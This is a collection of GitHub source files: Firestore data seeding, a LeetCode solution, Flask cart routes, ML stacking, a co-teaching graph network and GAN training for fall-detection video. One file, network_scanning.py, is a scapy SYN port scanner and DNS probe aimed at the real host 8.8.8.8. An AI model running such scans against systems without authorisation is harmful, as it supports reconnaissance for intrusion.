+{"seq_id":"18222574432","text":"import json\nimport pytz\nfrom datetime import datetime, timedelta\nfrom firebase_admin import firestore\nfrom config import db\n\n# Insert into 'sections'\nwith open('./assets/seller_sections_fake_data_foobarify.json') as json_file:\n    fake_sections = json.load(json_file)\n    batch = db.batch()\n\n    for index, section in enumerate(fake_sections):\n        docRef = db.collection(f'sellers/{section[\"seller_id\"]}/sections').document()\n\n        delivery_location = {\n            'address': section['delivery_location']['address'],\n            'address_zh': section['delivery_location']['address_zh'],\n            'geopoint': firestore.GeoPoint(\n                section['delivery_location']['geopoint']['lat'],\n                section['delivery_location']['geopoint']['long']\n            )\n        }\n\n        now_time = datetime.now(pytz.timezone('Asia/Hong_Kong')) + timedelta(days=index)\n        cutoff_time = datetime.strptime(section[\"cutoff_time\"], '%H:%M') \n        delivery_time = datetime.strptime(section[\"delivery_time\"], '%H:%M')\n\n        new_cutoff_time = now_time.replace(hour=cutoff_time.hour, minute=cutoff_time.minute)\n        new_delivery_time = now_time.replace(hour=delivery_time.hour, minute=delivery_time.minute)\n\n        batch.set(docRef, {\n            'id': docRef.id,\n            'title': section['title'],\n            'title_zh': section.get('title_zh', None),\n            'group_id': section['group_id'],\n            'seller_id': section['seller_id'],\n            'seller_name': section['seller_name'],\n            'seller_name_zh': section.get('seller_name_zh', None),\n            'description': section['description'],\n            'description_zh': section.get('description_zh', None),\n            'delivery_cost': section['delivery_cost'],\n            'delivery_time': new_delivery_time,\n            'delivery_location': delivery_location,\n            'cutoff_time': new_cutoff_time,\n            'max_users': section['max_users'],\n            'joined_users_count': section.get('joined_users_count', 0),\n            'joined_users_ids': section.get('joined_users_count', []),\n            'image_url': section.get('image_url', None),\n            'state': section['state'],\n            'available': section['available'],\n        })\n\n    batch.commit()\n\n    print('insert success.')","repo_name":"foobar-UST/foobar-samples","sub_path":"insert_sections.py","file_name":"insert_sections.py","file_ext":"py","file_size_in_byte":2299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"43526134839","text":"# PROBLEM\n# Write a function to find the longest common prefix string amongst an array of strings.\n# Edge Case: If there is no common prefix, return an empty string \"\".\n# Note: All inputs are in lowercase letters a-z\n\n\ndef longestCommonPrefix(strings):\n        # if there is only one string in the array\n        if len(strings) == 1:\n            return strings[0]\n\n        # else, there is more than one string in the array\n        else:\n            # if the list is empty, we want to return an empty string\n            commonPrefix = \"\"\n            # print(strings[1][:1], strings[0][:1], list(range(len(min(strings, key=len))+1)))\n            # note: in python empty sequences are FALSE\n            if strings:  # if the string is not empty (implicit boolean when string is empty)\n                shortLen = min(strings, key=len)  # short the length of the shortest\n                finished = False\n\n                # procedurally need to compare letters\n                for i in range(1, len(shortLen)+1):\n                    testPrefix = strings[0][:i]\n\n                    for j in range(1, len(strings)):\n                        if strings[j][:i] != testPrefix:  # if any one of the strings dont match\n                            finished = True  # trigger mismatch flag\n                            break  # exit loop early to save time\n\n                    if finished:\n                        break\n\n                    else:\n                        commonPrefix = strings[0][:i]\n\n            return commonPrefix  # return longest common prefix using first element in the list\n\n\n# TESTS\nprint(longestCommonPrefix([\"flower\", \"flow\", \"flight\"]))  # Output \"fl\"\nprint(longestCommonPrefix([\"dog\", \"racecar\", \"car\"]))     # Output: \"\"\nprint(longestCommonPrefix([\"c\", \"c\"]))                    # Output: \"c\"\n#print(\"heck\" + longestCommonPrefix([]))\n","repo_name":"ryotokuro/leetcode","sub_path":"Easy/Solved/longestCommonPrefix.py","file_name":"longestCommonPrefix.py","file_ext":"py","file_size_in_byte":1851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12325333167","text":"from flask import jsonify, request, render_template, url_for\nfrom app.main import application\nfrom flask_login import current_user\nfrom flask_login import login_required\nfrom app.data.models.carts import Carts\nfrom app.data.models.items import Items\nfrom app.data.models.items import Vendors\n# from app.main.vendors import getVendors\nimport json\n\n@application.route('/addToCart', methods= ['POST'])\n# adding Item to Cart\ndef addToCart():\n    activeCart = Carts.query.get(current_user.activeCart)\n    data = request.get_json()\n    item_id = activeCart.addToCart(current_user, data['id'],data['img_url'],data['database'])\n    print(item_id)\n    if item_id:\n        count = current_user.cart_count\n        return jsonify({'count':current_user.cart_count, 'item_id':item_id})    \n    return jsonify({'count':current_user.cart_count, 'item_id':item_id})\n\n@application.route('/addToCartWithVendor', methods= ['POST'])\n# adding Item to Cart\ndef addToCartWithVendor(identifier,img, db, vendor) -> None:\n    print(\"calling addToCartWithVendor\")\n    if current_user.is_authenticated:\n        activeCart = Carts.query.get(current_user.activeCart)\n        item_id = activeCart.addToCartGetId(current_user, identifier,img,db)\n        if vendor:\n            vendor_ =Vendors.addVendor(item_id, vendor)\n        print('added succeesfully')\n    return 'success'\n    # return 'sucess'\n    # data = request.get_json()\n    # item_id = activeCart.addToCart(current_user, data['id'],data['img_url'],data['database'])\n    # print(item_id)\n    # if item_id:\n    #     count = current_user.cart_count\n    #     return jsonify({'count':current_user.cart_count, 'item_id':item_id})    \n    # return jsonify({'count':current_user.cart_count, 'item_id':item_id})\n\n\n@application.route('/deleteItem/<identifier>', methods= ['DELETE'])\ndef deleteItem(identifier):\n    Items.query.filter_by(identifier=identifier, cart_fk=current_user.activeCart).first().deleteItem()\n    print(identifier)\n    items = Items.query.filter_by(cart_fk=current_user.activeCart).all()\n    print(items)\n    print(len(items))\n    return jsonify({'count':current_user.cart_count})\n\n@application.route('/showItem')\ndef showItem():\n    data = json.loads(request.args.get('data'))\n    return render_template('cart/item.html', identifier = data['identifier'], img=data['img'], db=data['db'])\n\n\n@application.route(\"/processItem\", methods= ['POST'])\ndef processItem():\n    data = request.get_json()\n    return jsonify({\n        'result': url_for('main.showItem', data=json.dumps({\"identifier\":data['identifier'], \"img\":data['img'], \"db\":data['db']}))\n     })","repo_name":"zula1010/cartblanche-20","sub_path":"app/main/items.py","file_name":"items.py","file_ext":"py","file_size_in_byte":2594,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"23681329567","text":"from sklearn.model_selection import KFold\nimport xgboost as xgb\nimport numpy as np\nimport lightgbm as lgb\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn import metrics\n\n\"\"\"\nstacking 的思想很好理解，但是在实现时需要注意不能有泄漏（leak）的情况，也就是说对于训练样本中的每一条数据，\n基模型输出其结果时并不能用这条数据来训练。否则就是用这条数据来训练，同时用这条数据来测试，这样会造成最终预测时的过拟合现象，即经过stacking后在训练集上进行验证时效果很好，但是在测试集上效果很差。\n\n为了解决这个泄漏的问题，需要通过 K-Fold 方法分别输出各部分样本的结果，这里以 5-Fold 为例，具体步骤如下\n\n(1) 将数据划分为 5 部分，每次用其中 1 部分做验证集，其余 4 部分做训练集，则共可训练出 5 个模型\n(2) 对于训练集，每次训练出一个模型时，通过该模型对没有用来训练的验证集进行预测，将预测结果作为验证集对应的样本的第二层输入，\n则依次遍历5次后，每个训练样本都可得到其输出结果作为第二层模型的输入\n(3) 对于测试集，每次训练出一个模型时，都用这个模型对其进行预测，则最终测试集的每个样本都会有5个输出结果，对这些结果取平均作为该样本的第二层输入\n\"\"\"\n\nclass BasicModel(object):\n    \"\"\"Parent class of basic models.\"\"\"\n\n    def train(self, x_train, y_train, x_val, y_val):\n        \"\"\"Return a trained model and eval metric of validation data.\"\"\"\n        pass\n\n    def predict(self, model, x_test):\n        \"\"\"Return the predicted result of test data.\"\"\"\n        pass\n\n    def get_oof(self, x_train, y_train, x_test, n_folds=5):\n        \"\"\"K-fold stacking.\"\"\"\n        num_train, num_test = x_train.shape[0], x_test.shape[0]\n        oof_train = np.zeros((num_train,))\n        oof_test = np.zeros((num_test,))\n        oof_test_all_fold = np.zeros((num_test, n_folds))\n        aucs = []\n        KF = KFold(n_splits=n_folds, random_state=2017)\n        for i, (train_index, val_index) in enumerate(KF.split(x_train)):\n            print('{0} fold, train {1}, val {2}'.format(i,\n                                                        len(train_index),\n                                                        len(val_index)))\n            x_tra, y_tra = x_train[train_index], y_train[train_index]\n            x_val, y_val = x_train[val_index], y_train[val_index]\n            model, auc = self.train(x_tra, y_tra, x_val, y_val)\n            aucs.append(auc)\n            oof_train[val_index] = self.predict(model, x_val)\n            oof_test_all_fold[:, i] = self.predict(model, x_test)\n        oof_test = np.mean(oof_test_all_fold, axis=1)\n        print('all aucs {0}, average {1}'.format(aucs, np.mean(aucs)))\n        return oof_train, oof_test\n\n\nclass XGBClassifier(BasicModel):\n    \"\"\"Xgboost model for stacking.\"\"\"\n\n    def __init__(self):\n        \"\"\"Set parameters.\"\"\"\n        self.num_rounds = 1000\n        self.early_stopping_rounds = 15\n        self.params = {\n            'objective': 'binary:logistic',\n            'eta': 0.1,\n            'max_depth': 8,\n            'eval_metric': 'auc',\n            'seed': 0,\n            'silent': 0\n         }\n\n    def train(self, x_train, y_train, x_val, y_val):\n        \"\"\"T.\"\"\"\n        print('train with xgb model')\n        xgbtrain = xgb.DMatrix(x_train, y_train)\n        xgbval = xgb.DMatrix(x_val, y_val)\n        watchlist = [(xgbtrain, 'train'), (xgbval, 'val')]\n        model = xgb.train(self.params,\n                          xgbtrain,\n                          self.num_rounds,\n                          watchlist,\n                          early_stopping_rounds=self.early_stopping_rounds)\n        return model, float(model.eval(xgbval).split()[1].split(':')[1])\n\n    def predict(self, model, x_test):\n        print('test with xgb model')\n        xgbtest = xgb.DMatrix(x_test)\n        return model.predict(xgbtest)\n\n\nclass LGBClassifier(BasicModel):\n    def __init__(self):\n        self.num_boost_round = 2000\n        self.early_stopping_rounds = 15\n        self.params = {\n            'task': 'train',\n            'boosting_type': 'dart',\n            'objective': 'binary',\n            'metric': {'auc', 'binary_logloss'},\n            'num_leaves': 80,\n            'learning_rate': 0.05,\n            # 'scale_pos_weight': 1.5,\n            'feature_fraction': 0.5,\n            'bagging_fraction': 1,\n            'bagging_freq': 5,\n            'max_bin': 300,\n            'is_unbalance': True,\n            'lambda_l2': 5.0,\n            'verbose': -1\n            }\n\n    def train(self, x_train, y_train, x_val, y_val):\n        print('train with lgb model')\n        lgbtrain = lgb.Dataset(x_train, y_train)\n        lgbval = lgb.Dataset(x_val, y_val)\n        model = lgb.train(self.params,\n                          lgbtrain,\n                          valid_sets=lgbval,\n                          verbose_eval=self.num_boost_round,\n                          num_boost_round=self.num_boost_round,\n                          early_stopping_rounds=self.early_stopping_rounds)\n        return model, model.best_score['valid_0']['auc']\n\n    def predict(self, model, x_test):\n        print('test with lgb model')\n        return model.predict(x_test, num_iteration=model.best_iteration)\n\n\ndef lgb_xgboost_lr_stacking(x_train, y_train,\n                            x_test, y_test):\n    \"\"\"Return a basic stacking model.\"\"\"\n    lgb_classifier = LGBClassifier()\n    lgb_oof_train, lgb_oof_test = lgb_classifier.get_oof(x_train,\n                                                         y_train, x_test)\n    print(lgb_oof_train.shape, lgb_oof_test.shape)\n\n    xgb_classifier = XGBClassifier()\n    xgb_oof_train, xgb_oof_test = xgb_classifier.get_oof(x_train,\n                                                         y_train, x_test)\n    print(xgb_oof_train.shape, xgb_oof_test.shape)\n\n    input_train = [xgb_oof_train, lgb_oof_train]\n    input_test = [xgb_oof_test, lgb_oof_test]\n\n    stacked_train = np.concatenate([f.reshape(-1, 1) for f in input_train], axis=1)\n    stacked_test = np.concatenate([f.reshape(-1, 1) for f in input_test], axis=1)\n    print(stacked_train.shape, stacked_test.shape)\n\n\n    # use LR as the model of the second layer\n\n    # split for validation\n    n = int(stacked_train.shape[0] * 0.8)\n    x_tra, y_tra = stacked_train[:n], y_train[:n]\n    x_val, y_val = stacked_train[n:], y_train[n:]\n    model = LinearRegression()\n    model.fit(x_tra,y_tra)\n    y_pred = model.predict(x_val)\n    print(metrics.roc_auc_score(y_val, y_pred))\n\n    # predict on test data\n    final_model = LinearRegression()\n    final_model.fit(stacked_train, y_train)\n    test_prediction = final_model.predict(stacked_test)\n","repo_name":"angelhunt/ml-tools","sub_path":"model/stacking.py","file_name":"stacking.py","file_ext":"py","file_size_in_byte":6814,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"18940486943","text":"from scapy.all import *\n\n\"\"\"\nUse scapy to implement the SYNScan and DNSScan\n\"\"\"\nports = [25,80,53,443,445,8080,8443]\n\ndef SynScan(host):\n    \"\"\"\n    Send a SYN packet and wait for ACK from destination ports.\n    \"\"\"\n    answers,unanswers = sr(IP(dst=host)/TCP(dport=ports,flags=\"S\"),timeout=2,verbose=0)\n    print(\"Open ports at %s:\" % host)\n    for (sent_packet,received_packet,) in answers:\n        if sent_packet[TCP].dport == received_packet[TCP].sport:\n            print(sent_packet[TCP].dport)\n\ndef DNSScan(host):\n    \"\"\"\n    Send a DNS request and wait for response to verify if there are\n    DNS servers waiting at destination ports.\n    \"\"\"\n    answers,unanswers = sr(IP(dst=host)/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname=\"google.com\")),timeout=2,verbose=0)\n    if answers:\n        print(\"DNS Server at %s\"%host)\n    \nhost = \"8.8.8.8\"\n\nSynScan(host)\nDNSScan(host)","repo_name":"TuanDinhLe/TuanDinhLe.github.io","sub_path":"NetworkScanning/network_scanning.py","file_name":"network_scanning.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70491426002","text":"#%%\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom copy import deepcopy\nimport utils\nimport numpy as np\nimport scipy.sparse as sp\nfrom torch_geometric.utils import from_scipy_sparse_matrix\nfrom models.GCN import GCN\n\nclass Coteaching(nn.Module):\n    \"\"\" 2 Layer Graph Convolutional Network.\n    \"\"\"\n\n    def __init__(self, nfeat, nhid, nclass, dropout=0.5, lr=0.01, weight_decay=5e-4,device=None):\n\n        super(Coteaching, self).__init__()\n        assert device is not None, \"Please specify 'device'!\"\n        self.device = device\n        self.nfeat = nfeat\n        self.hidden_sizes = [nhid]\n        self.nclass = nclass\n        self.dropout = dropout\n        self.lr = lr\n        self.weight_decay = weight_decay\n\n        self.output = None\n        self.best_model = None\n        self.edge_index = None\n        self.edge_weight = None\n        self.features = None\n\n        self.GCN1 = GCN(nfeat,nhid,nclass,dropout,device=device)\n        self.GCN2 = GCN(nfeat,nhid,nclass,dropout,device=device)\n\n    def forward(self, x, edge_index, edge_weight):\n\n        return self.GCN1(x,edge_index,edge_weight), self.GCN2(x,edge_index,edge_weight)\n\n    def fit(self, features, adj, labels, idx_train, idx_val=None, noise_rate=0.2, ek=10,train_iters=200, verbose=True):\n        \"\"\"Train the gcn model, when idx_val is not None, pick the best model according to the validation loss.\n        Parameters\n        \"\"\"\n\n        self.edge_index, self.edge_weight = from_scipy_sparse_matrix(adj)\n        self.edge_index, self.edge_weight = self.edge_index.to(self.device), self.edge_weight.float().to(self.device)\n\n        if sp.issparse(features):\n            features = utils.sparse_mx_to_torch_sparse_tensor(features).to_dense().float()\n        else:\n            features = torch.FloatTensor(np.array(features))\n        self.features = features.to(self.device)\n        self.labels = torch.LongTensor(np.array(labels)).to(self.device)\n\n        self.noise_rate = noise_rate\n        self._train_with_val(self.labels, idx_train, idx_val, ek ,train_iters, verbose)\n\n    def _train_with_val(self, labels, idx_train, idx_val, ek,train_iters, verbose):\n        if verbose:\n            print('=== training gcn model ===')\n        optimizer = optim.Adam(self.parameters(), lr=self.lr, weight_decay=self.weight_decay)\n\n        best_loss_val = 100\n        best_acc_val = 0\n        idx_train = np.asarray(idx_train)\n\n        for i in range(train_iters):\n            self.train()\n            optimizer.zero_grad()\n            output1, output2 = self.forward(self.features, self.edge_index, self.edge_weight)\n\n            pred_1 = output1[idx_train].max(1)[1]\n            pred_2 = output2[idx_train].max(1)[1]\n\n\n            disagree = (pred_1 != pred_2).cpu().numpy()\n            idx_update = idx_train[disagree]\n\n            if len(idx_update) == 0:\n                break\n\n            k = int((1 - min(i*self.noise_rate/ek, self.noise_rate)) * len(idx_update))\n\n            loss_1 = F.cross_entropy(output1[idx_update], labels[idx_update], reduction='none')\n            loss_2 = F.cross_entropy(output2[idx_update], labels[idx_update], reduction='none')\n\n            _, topk_1 = torch.topk(loss_1, k, largest=False)\n            _, topk_2 = torch.topk(loss_2, k, largest=False)\n\n            loss_train = loss_1[topk_2].mean() + loss_2[topk_1].mean()\n\n            loss_train.backward()\n            optimizer.step()\n\n            # if verbose and i % 10 == 0:\n\n            self.eval()\n            output1, output2 = self.forward(self.features, self.edge_index, self.edge_weight)\n            acc_val = max(utils.accuracy(output1[idx_val], labels[idx_val]),utils.accuracy(output2[idx_val], labels[idx_val]))\n\n            if acc_val > best_acc_val:\n                best_acc_val = acc_val\n                weights = deepcopy(self.state_dict())\n            if verbose and i % 1 == 0:\n                print('Epoch {}, training loss: {}, acc_val: {:.4f}'.format(i, loss_train.item(),acc_val))\n\n        if verbose:\n            print('=== picking the best model according to the performance on validation ===')\n        self.load_state_dict(weights)\n\n\n    def test(self, idx_test):\n        \"\"\"Evaluate GCN performance on test set.\n        Parameters\n        ----------\n        idx_test :\n            node testing indices\n        \"\"\"\n        self.eval()\n        output1, output2 = self.forward(self.features, self.edge_index, self.edge_weight)\n        acc_1 = utils.accuracy(output1[idx_test], self.labels[idx_test])\n        acc_2 = utils.accuracy(output2[idx_test], self.labels[idx_test])\n        print(\"Test set results:\",\n              \"acc_1= {:.4f}\".format(acc_1.item()),\n              \"acc_2y= {:.4f}\".format(acc_2.item()))\n        return output1,output2\n\n\n# %%\n","repo_name":"EnyanDai/NRGNN","sub_path":"models/Coteaching.py","file_name":"Coteaching.py","file_ext":"py","file_size_in_byte":4777,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"3"}
+{"seq_id":"28792687257","text":"# -*- coding: utf-8 -*-\r\nfrom fix_gener_discrim_model_3 import *\r\nfrom absl import flags\r\n\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport os\r\nimport sys\r\n\r\nflags.DEFINE_string(\"A_tr_img_path\", \"D:/[1]DB/[4]etc_experiment/Fall_dataset/[5]TCL_dataset/GAN_data/divide/preprocessed/Walking_fall_stand/train/A_train\", \"A training image path\")\r\n\r\nflags.DEFINE_string(\"B_tr_img_path\", \"D:/[1]DB/[4]etc_experiment/Fall_dataset/[5]TCL_dataset/GAN_data/divide/preprocessed/Walking_fall_stand/train/B_train\", \"B training image path\")\r\n\r\nflags.DEFINE_integer(\"img_size\", 112, \"Height and width\")\r\n\r\nflags.DEFINE_integer(\"img_ch\", 3, \"Channels\")\r\n\r\nflags.DEFINE_integer(\"img_fr\", 16, \"Image frames\")\r\n\r\nflags.DEFINE_integer(\"epochs\", 200, \"Training epochs\")\r\n\r\nflags.DEFINE_integer(\"classes\", 14, \"Number of classes\")\r\n\r\nflags.DEFINE_integer(\"batch_size\", 1, \"Batch size\")\r\n\r\nflags.DEFINE_float(\"lr\", 0.0002, \"Learning rate\")\r\n\r\nflags.DEFINE_bool(\"train\", True, \"True or False\")\r\n\r\nflags.DEFINE_string(\"save_images\", \"C:/Users/Yuhwan/Pictures/sample\", \"Save sample images path\")\r\n\r\nflags.DEFINE_string(\"save_checkpoint\", \"\", \"\")\r\n\r\nflags.DEFINE_bool(\"pre_checkpoint\", False, \"True or False\")\r\n\r\nflags.DEFINE_string(\"pre_checkpoint_path\", \"\", \"Saved checkpoint file path\")\r\n\r\nFLAGS = flags.FLAGS\r\nFLAGS(sys.argv)\r\n\r\ng_optim = tf.keras.optimizers.Adam(FLAGS.lr)\r\nd_optim = tf.keras.optimizers.Adam(FLAGS.lr)\r\n\r\nlabel_list = [(\"Drinking_some_water\", 0),\r\n              (\"Falls_from_bed\", 1),\r\n              (\"Falls_from_standing\", 2),\r\n              (\"Getting_off_a_bed\", 3),\r\n              (\"Jogging\", 4),\r\n              (\"Lying_down\", 5),\r\n              (\"Lying_still\", 6),\r\n              (\"Moving_on_a_chair\", 7),\r\n              (\"Object_picking\", 8),\r\n              (\"Sitting_down\", 9),\r\n              (\"Sitting_on_a_bed\", 10),\r\n              (\"Standing_still\", 11),\r\n              (\"Standing_up\", 12),\r\n              (\"Walking\", 13)]\r\n\r\n\r\ndef all_data(folder_list, path):\r\n\r\n    list_ = folder_list\r\n    folder_list = [path + \"/\" + folder for folder in folder_list]\r\n\r\n    img, lab = [], []\r\n    for i in range(len(folder_list)):\r\n        folder_list_ = os.listdir(folder_list[i])\r\n        for k in range(len(label_list)):\r\n            #print(folder_list[i].split('/')[-1])\r\n            if folder_list[i].split('/')[-1] == label_list[k][0]:\r\n                num = label_list[k][1]\r\n\r\n        print(folder_list[i])\r\n        folder_list_ = [path + \"/\" + folder_list[i].split(\"/\")[-1] + \"/\" + folder for folder in folder_list_ if folder != \".DS_Store\"]\r\n\r\n        label = [\"{}\".format(num) for j in range(len(folder_list_))]\r\n        lab.extend(label)\r\n        \r\n        for j in range(len(folder_list_)):\r\n            real_img = os.listdir(folder_list_[j])\r\n            real_img = [int(img.split(\".\")[0]) for img in real_img]\r\n            real_img.sort()\r\n            real_img = [str(img) + \".png\" for img in real_img]\r\n            real_img = [folder_list_[j] + \"/\" + name for name in real_img]\r\n            img.append(real_img)\r\n\r\n    data = list(zip(img, lab))\r\n\r\n    return data\r\n\r\ndef train_func(img, lab):\r\n\r\n    input = []\r\n    for i in range(0, FLAGS.img_fr):\r\n\r\n        img_ = tf.io.read_file(img[i])\r\n        img_ = tf.image.decode_png(img_, FLAGS.img_ch)\r\n        img_ = tf.image.resize(img_, [FLAGS.img_size, FLAGS.img_size])\r\n\r\n        img_ = img_ / 127.5 - 1.\r\n\r\n        input.append(img_)\r\n\r\n    input_img = input\r\n\r\n    label = tf.one_hot(lab, FLAGS.classes)\r\n\r\n    return input_img, label\r\n\r\n@tf.function\r\ndef run_model(model, img, training=True):\r\n    return model(img, training=training)\r\n\r\ndef cal_loss(A2B_model, B2A_model, A_model, B_model, A_img, B_img):\r\n\r\n    g_loss = 0\r\n    d_loss = 0\r\n    for i in range(FLAGS.img_fr):\r\n        with tf.GradientTape() as g_tape, tf.GradientTape() as d_tape:\r\n\r\n            fake_B = run_model(A2B_model, A_img[:, i], True)\r\n            fake_A = run_model(B2A_model, B_img[:, i], True)\r\n\r\n            fake_A_ = run_model(B2A_model, fake_B, True)\r\n            fake_B_ = run_model(A2B_model, fake_A, True)\r\n\r\n            DA_real = run_model(A_model, A_img[:, i], True)\r\n            DB_real = run_model(B_model, B_img[:, i], True)\r\n\r\n            DA_fake = run_model(A_model, fake_A, True)\r\n            DB_fake = run_model(B_model, fake_B, True)\r\n\r\n            G_cycle_loss = (tf.reduce_mean(tf.abs(A_img[:, i] - fake_A_)) + tf.reduce_mean(tf.abs(B_img[:, i] - fake_B_))) * 10.0\r\n            G_adv_loss = tf.reduce_mean((DA_fake - tf.ones_like(DA_fake))**2) + tf.reduce_mean((DB_fake - tf.ones_like(DB_fake))**2) \\\r\n                        + G_cycle_loss\r\n            \r\n            D_adv_loss = ( tf.reduce_mean((DA_real - tf.ones_like(DA_real))**2) + tf.reduce_mean((DA_fake - tf.zeros_like(DA_fake))**2) ) * 0.5 \\\r\n                        + ( tf.reduce_mean((DB_real - tf.ones_like(DB_real))**2) + tf.reduce_mean((DB_fake - tf.zeros_like(DB_fake))**2) ) * 0.5\r\n\r\n        g_grads = g_tape.gradient(G_adv_loss, A2B_model.trainable_variables + B2A_model.trainable_variables)\r\n        d_grads = d_tape.gradient(D_adv_loss, A_model.trainable_variables + B_model.trainable_variables)\r\n\r\n        g_optim.apply_gradients(zip(g_grads, A2B_model.trainable_variables + B2A_model.trainable_variables))\r\n        d_optim.apply_gradients(zip(d_grads, A_model.trainable_variables + B_model.trainable_variables))\r\n\r\n        g_loss += G_adv_loss\r\n        d_loss += D_adv_loss\r\n\r\n    g_loss /= FLAGS.img_fr\r\n    d_loss /= FLAGS.img_fr\r\n\r\n    return g_loss, d_loss\r\n\r\ndef main():\r\n    A2B_model = fix_generator(input_shape=(FLAGS.img_size, FLAGS.img_size, FLAGS.img_ch))\r\n    A2B_model.summary()\r\n    B2A_model = fix_generator(input_shape=(FLAGS.img_size, FLAGS.img_size, FLAGS.img_ch))\r\n    B2A_model.summary()\r\n    A_model = fix_discriminator(input_shape=(FLAGS.img_size, FLAGS.img_size, FLAGS.img_ch))\r\n    A_model.summary()\r\n    B_model = fix_discriminator(input_shape=(FLAGS.img_size, FLAGS.img_size, FLAGS.img_ch))\r\n    B_model.summary()\r\n\r\n    if FLAGS.pre_checkpoint:\r\n        ckpt = tf.train.Checkpoint(A2B_model=A2B_model, B2A_model=B2A_model,\r\n                                   A_model=A_model, B_model=B_model,\r\n                                   g_optim=g_optim, d_optim=d_optim)\r\n        ckpt_manager = tf.train.CheckpointManager(ckpt, FLAGS.pre_checkpoint_path, 5)\r\n\r\n        if ckpt_manager.latest_checkpoint:\r\n            ckpt.restore(ckpt_manager.latest_checkpoint)\r\n            print(\"==============\")\r\n            print(\"Restored!!!!!!\")\r\n            print(\"==============\")\r\n    if FLAGS.train:\r\n        count = 0\r\n        A_img_path = os.listdir(FLAGS.A_tr_img_path)\r\n        A_img_path = [folder for folder in A_img_path if folder !=\".DS_Store\"]\r\n        A_img_path = all_data(A_img_path, FLAGS.A_tr_img_path)\r\n\r\n        B_img_path = os.listdir(FLAGS.B_tr_img_path)\r\n        B_img_path = [folder for folder in B_img_path if folder !=\".DS_Store\"]\r\n        B_img_path = all_data(B_img_path, FLAGS.B_tr_img_path)\r\n\r\n        for epoch in range(FLAGS.epochs):\r\n            A_tr_img, A_tr_lab = zip(*A_img_path)\r\n            A_tr_img, A_tr_lab = np.array(A_tr_img), np.array(A_tr_lab, dtype=np.int32)\r\n            B_tr_img, B_tr_lab = zip(*B_img_path)\r\n            B_tr_img, B_tr_lab = np.array(B_tr_img), np.array(B_tr_lab, dtype=np.int32)\r\n\r\n            A_gener = tf.data.Dataset.from_tensor_slices((A_tr_img, A_tr_lab))\r\n            A_gener = A_gener.shuffle(len(A_tr_img))\r\n            A_gener = A_gener.map(train_func)\r\n            A_gener = A_gener.batch(FLAGS.batch_size)\r\n            A_gener = A_gener.prefetch(tf.data.experimental.AUTOTUNE)\r\n\r\n            B_gener = tf.data.Dataset.from_tensor_slices((B_tr_img, B_tr_lab))\r\n            B_gener = B_gener.shuffle(len(B_tr_img))\r\n            B_gener = B_gener.map(train_func)\r\n            B_gener = B_gener.batch(FLAGS.batch_size)\r\n            B_gener = B_gener.prefetch(tf.data.experimental.AUTOTUNE)\r\n\r\n            tr_idx = min(len(A_tr_img), len(B_tr_img)) // FLAGS.batch_size\r\n            A_iter = iter(A_gener)\r\n            B_iter = iter(B_gener)\r\n            for step in range(tr_idx):\r\n                A_images, _ = next(A_iter)\r\n                B_images, _ = next(B_iter)\r\n\r\n                g_loss, d_loss = cal_loss(A2B_model, B2A_model, A_model, B_model, A_images, B_images)\r\n\r\n                print(\"Epoch(s): {} [{}/{}] g_loss = {}, d_loss = {}\".format(epoch, step + 1, tr_idx, g_loss, d_loss))\r\n\r\n                if count % 100 == 0:\r\n                    for i in range(FLAGS.img_fr):\r\n                        fake_B = run_model(A2B_model, A_images[:, i], False)\r\n                        fake_A = run_model(B2A_model, B_images[:, i], False)\r\n\r\n                        fakeA_folder = FLAGS.save_images + \"/\" + \"fakeA_img_{}/\".format(count)\r\n                        fakeB_folder = FLAGS.save_images + \"/\" + \"fakeB_img_{}/\".format(count)\r\n                        realA_folder = FLAGS.save_images + \"/\" + \"realA_img_{}/\".format(count)\r\n                        realB_folder = FLAGS.save_images + \"/\" + \"realB_img_{}/\".format(count)\r\n\r\n                        if not os.path.isdir(fakeA_folder):\r\n                            os.makedirs(fakeA_folder)\r\n                        if not os.path.isdir(fakeB_folder):\r\n                            os.makedirs(fakeB_folder)\r\n                        if not os.path.isdir(realA_folder):\r\n                            os.makedirs(realA_folder)\r\n                        if not os.path.isdir(realB_folder):\r\n                            os.makedirs(realB_folder)\r\n\r\n                        plt.imsave(fakeA_folder + \"fakeA_img_{}.jpg\".format(i), fake_A[0] * 0.5 + 0.5)\r\n                        plt.imsave(fakeB_folder + \"fakeB_img_{}.jpg\".format(i), fake_B[0] * 0.5 + 0.5)\r\n                        plt.imsave(realA_folder + \"realA_img_{}.jpg\".format(i), A_images[0,i] * 0.5 + 0.5)\r\n                        plt.imsave(realB_folder + \"realB_img_{}.jpg\".format(i), B_images[0,i] * 0.5 + 0.5)\r\n                if count % 500 == 0:\r\n                    num_ = int(count // 500)\r\n                    model_dir = \"%s/%s\" % (FLAGS.save_checkpoint, num_)\r\n                    ckpt = tf.train.Checkpoint(A2B_model=A2B_model, B2A_model=B2A_model,\r\n                                               A_model=A_model, B_model=B_model,\r\n                                               g_optim=g_optim, d_optim=d_optim)\r\n                    ckpt_dir = model_dir + \"/\" + \"Fall_GAN_{}.ckpt\".format(count)\r\n                    ckpt.save(ckpt_dir)\r\n\r\n                count += 1\r\n\r\nif __name__ == \"__main__\":\r\n    main()","repo_name":"Kimyuhwanpeter/TF_Fall_dataset_generation_work","sub_path":"fix_gener_discrim_train_3.py","file_name":"fix_gener_discrim_train_3.py","file_ext":"py","file_size_in_byte":10550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
